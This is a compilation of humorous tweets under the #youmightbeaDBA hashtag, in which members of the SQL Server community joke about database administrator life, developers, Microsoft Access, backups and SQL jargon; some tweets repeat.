 buckwoody You've never seen the driveway to your house in the daylight #youmightbeaDBA  buckwoody You think that something OTHER than the database might be the performance bottleneck #youmightbeaDBA  buckwoody Most of your bloodstream is composed of caffeine #youmightbeaDBA  buckwoody Your task list is labeled "CRUD Matrix" #youmightbeaDBA  buckwoody You call your wife/husband a "Linked Server" #youmightbeaDBA  anonythemouse When someone tells you they are going to take a dump and you wonder of which database then #youmightbeaDBA  anonythemouse When it's 11pm on a holiday weekend and you are working #youmightbeaDBA  anonythemouse When you sit down at a table and look for it's primary key #youmightbeaDBA  anonythemouse When getting milk from the fridge you check the expiry date is > getdate() #youmightbeaDBA  blakmk when you wake up dreaming about sql #youmightbeaDBA  CharlesGarver You think a @buckwoody bobblehead would be a cool thing to have on the dashboard of your car #youmightbeaDBA  CharlesGarver Your friends don't understand why you think there's a difference between single and double quotes #youmightbeaDBA  CharlesGarver Even the newest employees know your name from all the downtime notices you've sent out #youmightbeaDBA  CharlesGarver You sometimes feel anxious and think "I should test restoring those backups" and then the feeling passes #youmightbeadba  CharlesGarver You know what a co-worker means when they ask "how is your squirrel server?" #youmightbeadba  CharlesGarver You can't sleep at night and you ponder the logisitcs of collecting every copy of Access for the world's biggest bonfire #youmightbeaDBA  CharlesGarver You can't sleep at night and you ponder the logisitcs of collecting every copy of Access for the world's biggest bonfire #youmightbeaDBA  CharlesGarver You're willing to move someone's job up in priority for a box of #voodoodonuts #youmightbeaDBA  CharlesGarver Each person in your company seems to think you work for THEM #youmightbeaDBA  CharlesGarver You have a Love/Hate relationship going on with #Microsoft #youmightbeaDBA  CharlesGarver People ask you to troubleshoot their Access program #youmightbeaDBA  CharlesGarver The first words you hear in the morning are 'your voicemail box is full' #youmightbeaDBA  CharlesGarver The thought of disrupting 500 people's work so you can do something doesn't phase you #youmightbeaDBA  CharlesGarver You can't sleep at night and you ponder the logisitcs of collecting every copy of Access for the world's biggest bonfire #youmightbeaDBA  CharlesGarver Your home computer is backed up in 3 different places #youmightbeaDBA  CharlesGarver Your wardrobe for work includes pajamas #youmightbeaDBA  CharlesGarver Someone tells you to look in the INDEX and you look puzzled before finally going to the back of the book. #youmightbeaDBA  chuckboycejr If you have ever set up a SQLAgent job to email your mobile phone to serve as an alarm clock #youmightbeaDBA  chuckboycejr If you'd rather meet Itzik than Jay Z #youmightbeaDBA  chuckboycejr If you'd rather meet Itzik than Jay Z #youmightbeaDBA  chuckboycejr If you'd wrestle a SysAdmin to the ground to implement #DPA best practices as per @aspiringgeek #youmightbeaDBA  databaseguy I need to be up in 7 hours, so I'm off to bed! I'll have to read the rest of @buckwoody's #youmightbeaDBA posts in the AM. (g'night Buck!)  databaseguy When people ask you about your house, the first thing you describe is the network. #youmightbeaDBA  databaseguy The last thing you say at the office each day is, "is anybody else here? I'm shutting off the lights!" #youmightbeaDBA  databaseguy Your blood pressure rises when you read application specs drafted by marketing. #youmightbeaDBA  databaseguy A good day at work is one when nobody pays you no mind. #youmightbeaDBA  databaseguy You care about latches and wait states. #youmightbeaDBA  databaseguy You have worked over 200 hours on a performance tuning project that required no application changes at all. #youmightbeaDBA  databaseguy The late-night security guard knows the names of your spouse and kids. #youmightbeaDBA  databaseguy You have had vigorous debates about whether it should be pronounced "sequel" or "ess-queue-ell". #youmightbeaDBA  databaseguy You have VPN and RDP software installed on your phone ... just in case. #youmightbeaDBA  databaseguy You have edited a data file by hand, just to see what would happen. #youmightbeaDBA  databaseguy You decorate your office walls with database catalog posters. #youmightbeaDBA  databaseguy You've built programs that access data just to keep other developers from asking you to run queries all the time. #youmightbeaDBA  databaseguy When you watch movies like The Matrix, you find yourself calculating the fasibility of storing all that data. #youmightbeaDBA  databaseguy You have tried to convince someone to spend money on an SSD storage array. #youmightbeaDBA  databaseguy When CPU is spiked on a server, you want to gather forensic evidence. #youmightbeaDBA  databaseguy You have to remind developers not to push code to production without checking if the database is ready. #youmightbeaDBA  databaseguy Nobody cares what you wear to work, as long as the thing keeps running. #youmightbeaDBA  databaseguy Telepathy is a job requirement when working with app dev teams. #youmightbeaDBA  databaseguy You read database statistics for the educational value. #youmightbeaDBA  databaseguy And your boss freely admits this to anyone within earshot. #youmightbeaDBA  databaseguy Your boss cannot explain or understand what you do. #youmightbeaDBA  databaseguy You envision ERDs when you see a GUI. #youmightbeaDBA  databaseguy You say things like "applications come and go, but data lasts forever." #youmightbeaDBA  databaseguy You have memorized the names of several of the AdventureWorks employees. #youmightbeaDBA  databaseguy You know what MAXDOP setting you can get away with for a big query based on current server load. #youmightbeaDBA  databaseguy And you immediately recognize the recursion in my last tweet. #youmightbeaDBA  databaseguy You find 50 simultaneous tweets from @buckwoody about #youmightbeaDBA :O)  DBAishness You have "funny stories" about the times your developers accidentally deleted the T-log in their test environment. #youmightbeaDBA  DBAishness Planning to slice and dice your MDW data with PowerPivot makes you giggle like a schoolgirl. #youmightbeaDBA  donalddotfarmer You think @buckwoody lives in the "real world." #youmightbeaDBA  jamach09 @buckwoody #youmightbeaDBA Why go outside when you can sit in the nice cool server room?  jamach09 If you refer to procreation as "Replication", #youmightbeaDBA.  jamach09 If you think ORM is a four-letter word, #youmightbeaDBA  JamesMarsh If you have ever preached the value of Source Code Control, #YouMightBeADBA  jethrocarr @venzann You store your shopping list in a ACID compliant DB #youmightbeaDBA  joe_positive @buckwoody thought it stood for "Don't Bother Asking" #youmightbeaDBA  joe_positive when you check your IT Events Calendar before making weekend plans #youmightbeaDBA  LadyRuna You cringe whenever someone calls Excel a database #youmightbeaDBA  LadyRuna When the waiter says he'll be your server today, you ask how many terabytes he is #youmightbeaDBA  LadyRuna you always call the asterisk a "Star" #youmightbeaDBA  LadyRuna You walk into a server room, say "Nice RACK!" and everyone there knows you're talking about server rack... #youmightbeaDBA  LadyRuna You receive more messages from servers than from friends #youmightbeaDBA  LadyRuna hmmm... #youmightbeaDBA if your recipe for gumbo is "SELECT * FROM Refrigerator"  markjholmes @SQLSoldier Heh. #youmightbeaDBA if you correct other DBAs' spelling of @PaulRandal  markjholmes #youmightbeaDBA if you actually test RAID5 vs RAID10 on your SAN because when it comes to configuration, "it depends."  markjholmes #youmightbeaDBA if you have at least 3 definitions of the word "cluster"  MarlonRibunal 3 Words: @BrentO, snicker, & Access #youmightbeaDBA  MarlonRibunal @onpnt @mikeSQL my appeal was a couple of mins late. Enjoying #youmightbeaDBA  MarlonRibunal @mikeSQL @onpnt pls, don't mention bacon #youmightbeaDBA  merv @buckwoody You HATE 3-way joins #youmightbeaDBA  MidnightDBA If you're up at midnight Tweeting about SQL #youmightbeaDBA  MidnightDBA @buckwoody I'd noticed that. :) #youmightbeaDBA  mikeSQL when people talk about "their type" you're thinking varchar, bigint, binary, etc #youmightbeadba  mikeSQL people ask you to go to lunch , but you can't go because you're attending #SQLlunch #youmightbeadba  mikeSQL you laugh for hours at all of the #sqlmoviequotes ....things in which a normal individual would scratch their head at. #youmightbeadba  mikeSQL you laugh for hours at all of the #sqlmoviequotes ....things in which a normal individual would scratch their head at. #youmightbeadba  mrdenny If you think that @buckwoody's demo using PowerPivot to analyze index usage data from DMVs is awesome then #youmightbeaDBA  mrdenny You wish @PaulRandal still worked at Microsoft so that they would make a bobble head of him #youmightbeadba  mrdenny When it's 11pm on a holiday weekend, and your posting stupid jokes on Twitter then #youmightbeadba  mrdenny If you go out with friends and wonder why no one's wearing a kilt then #YouMightBeADBA  mrdenny You can't do basic math, but you know off the top of your head how many CALs $14,412 can buy you. #YoumightbeaDBA  mrdenny If you've ever setup a SQL Job to email you to get you out of a regularly scheduled meeting #YouMightBeADBA.  mrdenny You throw up in your mouth a little when ever you here the word "Access". Even if it doesn't relate to a MS product. #YouMightBeADBA  msdtjones You spend more time listening to @buckwoody than your wife #youmightbeaDBA  NFDotCom You perform "hail deltas" on a regular basis. #YouMightBeADBA  NoelMcKinney If you tell your wife you want to go to Columbus Ohio for your wedding anniversary so you can attend #sqlsat42 then #youmightbeaDBA  NoelMcKinney You read a union is on strike and wonder if it's a UNION ALL #youmightbeaDBA  NoelMcKinney You read a union is on strike and wonder if it's a UNION ALL #youmightbeaDBA  NoelMcKinney Someone asks you to throw another log on the fire and you tell them not to worry about it because Autogrowth is turned on #youmightbeaDBA  Nuurdygirl Even if you have a girlfriend...its possible #youmightbeadba. Yeah-i said its possible!  Nuurdygirl When your girlfriend has to lean around the laptop to kiss you goodnight #youmightbeadba  Old_Man_Fish If you worry about how big your package is and how long it takes to finish #youmightbeaDBA  Old_Man_Fish If you no longer wonder if someone is in trouble or died if you are getting calls at 2AM #youmightbeaDBA  Old_Man_Fish If, when you hear the word ACCESS with no connotation you blood pressure jumps 50 points, #youmightbeaDBA  onpnt When you hear the word inject you immediately get concerned if your databases are OK #youmightbeaDBA  onpnt Your servers haven't been rebooted in a year #youmightbeaDBA  onpnt You know why it's funny when @PaulRandal has the word, "Sheep" in a tweet #youmightbeaDBA  onpnt You have read BOL without actually having a problem to figure out #youmightbeaDBA  onpnt You can type "SELECT columns FROM tables" without typos but tipen ni Banglish ares a messis #youmightbeaDBA  onpnt DR strategies doesn't include the word, RAID in them #youmightbeaDBA  onpnt you can move a SQL Server instance to a new server without the users ever knowing #youmightbeaDBA  onpnt You have made an SSIS package that is more than one step #youmightbeaDBA  onpnt You have the balls to say no to your boss when they ask for the sa password #youmightbeaDBA  onpnt you google to trouble shoot a problem and end up at your own blog (and it fixes it) #youmightbeaDBA  onpnt You talk your wife into moving the family vacation a week earlier so you can attend the areas local SSUG meeting #youmightbeaDBA  onpnt you can explain to a nontechnical person what a deadlock is #youmightbeaDBA  onpnt You hope a girl asks you what your collation is #youmightbeaDBA  onpnt you make jokes that include the words shrink, truncate and 1205. And you are the only one that laughs at them #youmightbeaDBA  onpnt You rate your ability to stay awake to work longer on blogs, twitter, forums and your day to day job with the 5 9's goal #youmightbeaDBA  onpnt you have major surgery and beg the doctor to release you back to work 5 days later because you miss your servers #youmightbeaDBA #TrueStory  onpnt You do have backups and you know how to use them #youmightbeaDBA  onpnt It's the network #youmightbeaDBA  onpnt When the developers get to work your mood changes rapidly #youmightbeaDBA  onpnt When someone says, "PASS", you first think of karaoke #youmightbeaDBA  onpnt Recruiters try to get you to call them *just* because they think you'll give them @BrentO contact info #youmightbeaDBA  onpnt You chuckle every time you go to grab the "CLR" Calcium, Lime and Rust Remover to clean something #youmightbeaDBA  onpnt @MarlonRibunal @mikeSQL Sorry man, it was already in motion ;-) #youmightbeaDBA  onpnt When you have an "I love bacon" sticker on your laptop. #youmightbeaDBA http://twitpic.com/1ry671  onpnt You sing SELECT statements in the shower #youmightbeaDBA  onpnt When you see a chicken it doesn't remind you of food. It reminds you of a guy named Jorge #youmightbeaDBA  onpnt At time, SQL is your mistress #youmightbeaDBA  onpnt Your wife wonders if SQL is the code name of your mistress at times #youmightbeaDBA  onpnt it's Friday and you are on twitter thinking really hard about what would be funny for hash tag #youmightbeaDBA  onpnt You organize your wife's "decorative"pillows on the bed in a B-Tree structure #youmightbeaDBA  PaulWhiteNZ If you: SELECT TOP (1) milk FROM fridge WHERE use_by_date >= GET_DATE() ORDER BY use_by_date ASC #YouMightBeaDBA  RonDBA #youmightbeaDBA if you read @buckwoody's and @BrentO's blogs.  ryaneastabrook @buckwoody omg, you have to stand up a website with these on them, they are awesome #youmightbeaDBA  soulvy @StrateSQL @LadyRuna Or a "Splat" #youmightbeaDBA  speedracer You can still fall asleep after three cups of coffee #youmightbeaDBA  speedracer You retweet @buckwoody on a Friday night #youmightbeaDBA  speedracer You can still fall asleep after three cups of coffee #youmightbeaDBA  speedracer Developers make you twitch #youmightbeaDBA  sqlagentman You know what X/1024*8 is. #YouMightBeADBA  SqlAsylum Your still in the office at 5:00 on memorial day weekend. #youmightbeadba :)  SQLBob Whenever someone you know gets pregnant you bring up INNER JOINs or SQL Injection attacks... #youmightbeaDBA  SQLChicken You know one or more SQL folks in the community with an animal in their username #youmightbeaDBA  SQLChicken You've used one or more car analogies to explain how a database works #youmightbeaDBA  SQLChicken “@sqljoe: #youmightbeaDBA if you applied to attend #sqlu and requested @SQLChicken to pull strings for you” lmao nice!  SQLChicken When talking about SSIS your discussions break down into various jokes about packages #youmightbeaDBA  SQLChicken Just SEEING the code for cursors makes you break out in hives #youmightbeaDBA  SQLChicken Just SEEING the code for cursors makes you break out in hives #youmightbeaDBA  SQLCraftsman You coined the phrase "Magic SAN Dust" because calling a vendor's marketing claims BS is not acceptable in a meeting. #YouMightBeADBA  SQLCraftsman If you hear about a new feature with the acronym "DAC" and wonder what disaster of a feature it is attached to this time. #YouMightBeADBA  SQLCraftsman You really own a "Stick of Much Developer Whacking" #YouMightBeADBA  SQLCraftsman You coined the phrase "Magic SAN Dust" because calling a vendor's marketing claims BS is not acceptable in a meeting. #YouMightBeADBA  SQLCraftsman Default Blame Acceptor #YouMightBeADBA  SQLCraftsman If you hear about a new feature with the acronym "DAC" and wonder what disaster of a feature it is attached to this time. #YouMightBeADBA  SQLCraftsman Default Blame Acceptor #YouMightBeADBA  SQLCraftsman If you hear about a new feature with the acronym "DAC" and wonder what disaster of a feature it is attached to this time. #YouMightBeADBA  sqljoe #youmightbeaDBA if you wished your wife knew T-sql. USE ShoppingList SELECT NecessaryItems from Supermarket WHERE Category<> ("junk food")  sqljoe #youmightbeaDBA if the first thing you kiss when you wake up is your mobile for not waking you up in the middle of the night  sqljoe #youmightbeaDBA if your wife has a "Do Not Fly" family vacation list of her own including your laptop and mobile  sqljoe #youmightbeaDBA if you have researched for DBA Anonymous groups and attended a #SSUG willing to drop your database (vice)  sqljoe #youmightbeaDBA if your only maintenance windows are staff meetings  sqljoe #youmightbeaDBA if you think of yourself as "The One" in The Matrix "balancing the equation" from The Architect's (developers) poor coding  sqljoe #youmightbeaDBA if you think @PaulRandal should have played the Oracle in The Matrix  sqljoe #youmightbeaDBA if home CD & Movie collection is stored in secured containers,in logical order & naming convention,and with a backup copy  sqljoe #youmightbeaDBA if you applied to attend #sqlu and requested @SQLChicken to pull strings for you  sqljoe #youmightbeaDBA if you have tried to TiVo @MidnightDBA broadcasts  sqljoe #youmightbeaDBA if your #sql user group feels like #AA meetings  sqljoe #youmightbeaDBA if you thought of bringing your #sql books to #sqlsaturday and #sqlpass for autographs  sqljoe #youmightbeaDBA if #sqlpass feels like the #oscars  sqljoe #youmightbeaDBA if you are proud of your small package  SQLLawman #youmightbeaDBA when you hear MDX and Acura is not first thought that comes to mind.  sqlrunner If your wife double checks that there isn't a SQLSat within 200 miles of your vacation destination #youmightbeaDBA  sqlrunner When you're on a conference call and your wife thinks your speaking in a foreign language #youmightbeaDBA  sqlrunner When you're on a conference call and your wife thinks your speaking in a foreign language #youmightbeaDBA  sqlrunner You treat the word 'access' as a verb, not a noun #youmightbeaDBA  sqlrunner If you are happy with sub-second performance #youmightbeaDBA  sqlrunner When you know the names of the NOC people AND their families #youmightbeadba  sqlrunner When you know the names of the NOC people AND their families #youmightbeadba  sqlrunner Your company set's up international phone coverage for your cruise #youmightbeaDBA  sqlsamson @buckwoody if your manager asks you for data and you respond with "there's a script for that" #youmightbeadba  sqlsamson @buckwoody If you receive more messages from your server then your spouse #youmightbeadba  SQLSoldier You've spent all night Valentines Day upgrading the SQL Servers and forgot to tell your wife you'd be working late. #youmightbeadba  SQLSoldier You're flattered when someone calls you a geek. #youmightbeadba  SQLSoldier @llangit @mrdenny it's 11pm on a holiday weekend, & your reading stupid jokes on Twitter then #youmightbeadba  SQLSoldier Your manager borrows lunch money from you because your salary is 30% higher than his. #youmightbeaDBA  SQLSoldier You think "intellisense" is a double negative because it's not intelligent nor makes sense. #youmightbeaDBA  SQLSoldier 75% of the emails you receive at home have the phrase "now following you on Twitter!" in the subject line. #youmightbeaDBA  SQLSoldier You petition Ken Burns to remake Office Space because it should have been 18 hours long. #youmightbeaDBA  SQLSoldier You select a candidate for a Jr DBA position because his resume said he's willing to get your coffee. #youmightbeaDBA  SQLSoldier Somebody misquotes @PaulRandall and you call him on your cell to verify. #youmightbeaDBA  SQLSoldier You wish the elevator in your building was slower because it's the last time you'll be left alone all day. #youmightbeaDBA  SQLSoldier The developers sacrifice small animals before giving you their code for review. #youmightbeaDBA  SQLSoldier Developers bring you coffee and a BLT when you review their code. #youmightbeaDBA #IWish  SQLSoldier You can get out of any family get-together by saying you have to work and nobody questions it. #youmightbeaDBA  SQLSoldier You've requested a HP Superdome for you "test" box. #youmightbeaDBA  SQLSoldier Your leave work early because your internet connection to the data center is better at home #youmightbeaDBA  SQLSoldier The new CEO asks you to justify your salary, so you go on vacation for 2 weeks. And he never questions you again. #youmightbeaDBA  SQLSoldier You cheer when Milton burns down the company in Office Space #youmightbeaDBA  SQLSoldier A dev. asks if you've heard about some great new feature in SQL and you show the 16 blog posts you wrote on it ... last year #youmightbeaDBA  SQLSoldier Your dev team is still testing SQL 2008 and you're already planning for SQL 11. #youmightbeaDBA #TrueStory  SQLSoldier The new CEO asks you to justify your salary, so you go on vacation for 2 weeks. And he never questions you again. #youmightbeaDBA  SQLSoldier Your dev team is still testing SQL 2008 and you're already planning for SQL 11. #youmightbeaDBA  SQLSoldier You use a cell phone service coverage map to plan your next vacation. #youmightbeaDBA  SQLSoldier You come in to work at 7 AM because it gives you at least 3 hours without any developers around. #youmightbeaDBA  SQLSoldier You figure out a way to make take your wife on a cruise and deduct it as a business expense. #youmightbeaDBA #sqlcruise  SQLSoldier You name your cat SQLDog because the name @SQLCat was already taken. #youmightbeaDBA  SQLSoldier You rate your blog posts based on the number of retweets you get. #youmightbeaDBA  SQLSoldier You disable random logins just to mess with people. #youmightbeaDBA  SQLSoldier You fall for the pickup line, "Hey baby, what's your collation?" #youmightbeaDBA  SQLSoldier You can blame an outage on anyone in the company because you're the only one that knows how to find out what really happened #youmightbeaDBA  SQLSoldier You can blame an outage on anyone in the company because you're the only one that knows how to find out what really happened #youmightbeaDBA  SQLSoldier You cheer when Milton burns down the company in Office Space #youmightbeaDBA  SQLSoldier Your leave work early because your internet connection to the data center is better at home #youmightbeaDBA  SQLSoldier You cheer when Milton burns down the company in Office Space #youmightbeaDBA  SQLSoldier Your think the 4 food groups are coffee, bacon, fast food, and Mountain Dew. #youmightbeaDBA  SQLSoldier You tell someone your job title and they ask "What?" You describe it and they ask "What?". So you say "computer geek". #youmightbeaDBA  SQLSoldier The #1 referrer to your blog is Twitter.com. #youmightbeaDBA  SQLSoldier Your idea of a good time on a Saturday involves free training. #youmightbeaDBA #sqlsat43  SQLSoldier You write a book that all of your co-workers have and none have read it. #youmightbeaDBA  SQLSoldier You write a book that sells a couple thousand copies and is heralded a best seller. #youmightbeaDBA  SQLSoldier No matter how sick you are, you go to work if it's time to pass the pager on to the next guy. #youmightbeaDBA #TrueStory  SQLSoldier You go out on the town, and strangers walk up to you and say, "Hey you're that SQL guy" #youmightbeaDBA #TrueStory  SQLSoldier Your wife asks you to fix something, and you request a downtime window. #youmightbeaDBA  SQLSoldier Your wife asks when you'll be home, and you tell her that you wish you knew. #youmightbeaDBA  SQLSoldier Your best pickup line, "Hey baby, what's your collation?" #youmightbeaDBA  SQLSoldier Your wife asks when you'll be home, and you tell her that you wish you knew. #youmightbeaDBA  SQLSoldier You know that @BuckWoody is not someone's porno name. #youmightbeaDBA  SQLSoldier You list TSQL as your native language on the 2010 census. #youmightbeaDBA  SQLSoldier Starbucks' stock price drops every time you go on vacation. #youmightbeaDBA  SQLSoldier You're happy when the web master says that the website is down. #youmightbeaDBA  SQLSoldier You know that @BuckWoody is not someone's porno name. #youmightbeaDBA  SQLSoldier You get mad when someone calls your car a "heap" because you've always considered it to be a "clustered index". #youmightbeaDBA  SQLSoldier Your blog has more hits than your company's website. #youmightbeaDBA  SQLSoldier You systematically remove the asterisk key from all keyboards in the company except yours. #youmightbeaDBA  SQLSoldier When asked if you recycle, you reply that you run sp_cycle_errorlog every night at midnight #youmightbeaDBA  SQLSoldier You wouldn't allow someone named @AdamMachanic to work on your car. #youmightbeaDBA  SQLSoldier You switch offices every 3 days to avoid developers #youmightbeaDBA  SQLSoldier PSS has your number on speed dial. #youmightbeaDBA  SQLSoldier You frown when you they tell Neo that he's going to the Oracle #youmightbeaDBA  swhaley you regretted saying "This shouldn't effect production" #youmightbeaDBA  swhaley you regretted saying "This shouldn't effect production" #youmightbeaDBA  Tarwn A pleasurable saturday means spending the day learning more about what you already do the rest of the week #youmightbeaDBA ...oh, wait...  thelostforum For great justice; all our base are belong to YOU !! #youmightbeadba  thelostforum @SQLSoldier: You need a witness to use a mirror #youmightbeaDBA ;)  TimCost you capitalize key words. always. everywhere. you can't help it, usually don't even notice. #youmightbeaDBA  Toshana Your the only one in your company not impressed with the developers new application. #youmightbeaDBA  venzann Coming soon from a (respected) book publisher - @buckwoody's #youmightbeaDBA  venzann He's on a role tonight. @buckwoody is summing up my life with his #youmightbeaDBA tweets...  venzann I love the #youmightbeaDBA tag. Found at least 6 new DBAs to follow..  venzann He's on a role tonight. @buckwoody is summing up my life with his #youmightbeaDBA tweets...  venzann You use #sqlhelp as a primary resource during troubleshooting #youmightbeaDBA  venzann You insist on stricter password security for your sql servers than you implement on your own laptop #youmightbeaDBA  WesBrownSQL @buckwoody you are up so late the only tweets you see are from @buckwoody #youmightbeaDBA  WesBrownSQL @SQLSoldier you are upgrading all your 2005 prod servers to 2008 R2 on a three day weekend... #youmightbeaDBA  zippy1981 #youmightbeaDBA if everytime you do something with #mongodb you think of the Vulcan proverb "only Nixon could go to China."  Share this post: email it! | bookmark it! | digg it! | reddit! | kick it! | live it!

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